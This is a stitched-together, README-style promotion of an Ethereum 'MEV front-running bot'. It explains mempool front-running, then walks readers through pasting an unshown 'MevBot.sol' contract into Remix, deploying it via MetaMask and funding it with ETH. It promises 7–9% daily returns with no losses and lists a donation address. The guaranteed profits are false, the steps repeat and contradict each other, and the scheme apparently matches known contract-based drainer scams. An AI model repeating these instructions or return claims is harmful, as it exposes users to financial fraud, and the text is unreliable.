Mev Bot
The term 'front-running' is commonly associated with the stock market, referring to the practice of leveraging insider information to seize market opportunities before others. This essentially amounts to insider trading.
The Front-Running Bot
A front-running bot is an automated program that examines pending transactions and outbids others by offering a higher gas fee, ensuring its transaction gets priority in processing, thereby front-running significant trades likely to influence market prices.
Bots, pre-configured programs, automate trading activities. They relieve users from constantly monitoring the market and determining the perfect timing for buying and selling. They auto-process and analyze market data, executing asset transactions on behalf of users. So, how do cryptocurrency front-running bots operate?
Design elements of Ethereum or blockchain allow all submitted transactions to reside temporarily in a 'mempool,' a holding area for transactions awaiting processing. Miners or bots can scrutinize the mempool to find suitable transactions for front-running in cryptocurrency trading.
Front-runner bots typically operate on a millisecond timescale. They can read a transaction from the mempool, calculate the ideal transaction size, set up the transactions, and execute them within split seconds. Manual operation cannot compete with this speed.
By placing a buy order in the same block while setting a higher gas price, the bot front-runs specific transactions concerning slippage, trade volumes, and gas price. The front-run bot identifies when extra liquidity is added to an AMM (Automated Market Maker) pool on the exchange and manipulates the transaction order within a block to profit from another trader.
Title:
Creation of a Cutting-Edge Predictive Bot Leveraging Solidity Technology for Enhanced Mempool Scanning, Transaction Processing, and Security
Introduction:
The world of cryptocurrency technology demands increasingly sophisticated transaction processing systems. Our innovative predictive bot, built on Solidity technology, offers superior performance compared to existing solutions. It provides more efficient mempool scanning, accelerated transaction processing, and heightened security for users.
Key Features and Benefits:
Innovative Predictive Bot: Our bot possesses the capability to predict and assess transactions in the mempool, facilitating processing at the earliest stage. This enhancement speeds up transaction processing and minimizes user waiting times. Deployment of Solidity Technology: Solidity technology equips our bot with superior performance and reliability, assuring steady operation and effective transaction processing. Flexibility and Scalability: Our bot adjusts to network alterations and scales according to requirements, ensuring a stable system operation. Security and Privacy: Our bot assures high-level security and user data privacy, leveraging contemporary cryptographic methodologies.
The bot generates a unique smart contract for each client with a dedicated balance, offering an additional security layer and preventing unauthorized user wallet access. Conclusion: Our Solidity technology-based predictive bot revolutionizes the process of mempool scanning and transaction processing. It ensures faster and more reliable service for cryptocurrency platform users, making our product an invaluable asset for the development of digital asset infrastructure. The bot's operational costs are restricted to gas fees on the Ethereum or BSC networks.
Bot capabilities:
Check every WETH pair. Calculate possible profit Automatically submit transaction with higher gas fee than target (in order to get tokens first, low price > seek profit, gas fee included in calculation) Automatically sell tokens with prior gas fee (in order to be the first who sell tokens at higher price) MEV bot Instructions (works only for Mainnet) How it works: create-a-frontrunner-bot-on-uniswap
You can see an example of how the bot works
✏️Step 1:
Remix Access the Remix IDE (this website is where we deploy the smart contract): https://remix.ethereum.org/
✏️ Step 2:
File Explorer Hover over the tiny button in the top left and click and create new file "mevbot.sol" Copy the code from "MevBot.sol" and paste in Remix IDE Click Solidity complier 0.6.12
✏️ Step 3:
go to deploy and enter your details below enter here
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ETH or BSC
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ETH or BSC
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your address
Uniswap is a cryptocurrency exchange which uses a decentralized network protocol. If you trade crypto on Uniswap, 1inch or any other decentralized exchange (DEX), then you need to know about front-running bots sniping profits across exchange’s pools.
You are now able to take advantage of those arbitrages yourself, a benefit that was previously only available to highly skilled devs. Here I provide you the access to my user-friendly (no coding skills required) MEV bot. Enjoy stress-free passive income from day one.
My flagship project that I recently released is Arbitrage MEV bot which runs on ETH pairs on Uniswap making profits from arbitrage trades.
Using my smart contract source code allows users to create their own MEV bots which stacks up the profits from automatic trades for the users.
I share my Arbitrage MEV bot smart contract for free, but there’s 0.1% fee charged from users’ profits, which goes back to me.
How to launch your own arbitrage bot
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Download MetaMask (if you don’t have it already): https://metamask.io/download.html
Access Remix: https://remix.ethereum.org/
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File Explorer Hover over the tiny button in the top left and click and create new file "mevbot.sol" Copy the code from "MevBot.sol" and paste in Remix IDE
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Go to the “Solidity Compiler” tab, Select compiler version 0.6.12 and then select “Compile mevbot.sol”.
Make sure “MevBot.sol” is selected in the CONTRACT section of the SOLIDITY COMPILER section.
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Go to the “DEPLOY & RUN TRANSACTIONS” tab, select the “Injected Provider - Metamask” environment and then “Deploy”. By approving the Metamask contract creation fee, you will have created your own contract.
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Copy your newly created contract address and fund it with any amount of ETH Simply send ETH to your newly created contract address to allow the bot to earn money.
- After your transaction is confirmed, click the “start” button to run the bot. Withdraw your ETH at any time by clicking the “Withdraw” button.
That’s it. The bot will start working immediately earning you profits from arbitrage trades on Uniswap pools.
FAQ
If many people will use the bot, wouldn’t dilution of profits occur?
I do not plan to limit access to the bot for now because there won’t be any affect for me or other users profiting as pools that the bot works on are with the biggest liquidities and volumes on Uniswap so other users involvement in the pools will always be very minor.
What average ROI can I expect?
According to my latest data of bot performances (past 3 weeks) ROI is about +7–9% daily per user. Bot does not make any losses, it only executes trades when there’s proper arbitrage opportunity to make profit, so under all circumstances user is always on plus.
What amount of funds bot need to work?
I recommend funding the contract with at least 1-5 ETH to cover gas fees and possible burn fees. Bot targets token contracts with max 10% burn fee and anything lower but nowadays most of tokens comes with 3~6% fees. If you fund the contract with less than recommended and the bot targets another token with high burn fees the contract will basically waste in fees more than make profit.
Does it work on other chains or DEXes as well?
No, currently the bot is dedicated only for Ethereum on Uniswap pools.
address for donate - 0x8365d619f4620083Aa9e320C2e88e1590A73d53b eth usdt ETH
License
This project is licensed under the MIT License. See the LICENSE file for details.
✏️ Step 4:
Navigate to "Deploy" and set the environment to "Injected Provider - MetaMask". Connect the wallet and click "Deploy".
✏️ Step 5:
Next - Deposit Balance into MEV Bot and press "action" Copy your MevBot contract address and send a number of Ethereum / BNB to the bot's balance for the bot to work. And start it with the "action" button.
The MEVBot begins trading immeditately, simpy wait for profits to accumulate.
❗ NOTE: You can start with any amount, but keep in mind that you need enough money for gas. we reccomend a minimum of 0.5 ETG / 3 BNB for you to start seeing profits in the first 24 hours.
You can stop the bot or withdraw your funds at any time by calling the action function.
Support
If you benefitted from the project, show us some support by giving us a star ⭐. Open source is awesome!
License
This project is licensed under the MIT License. See the LICENSE file for details.
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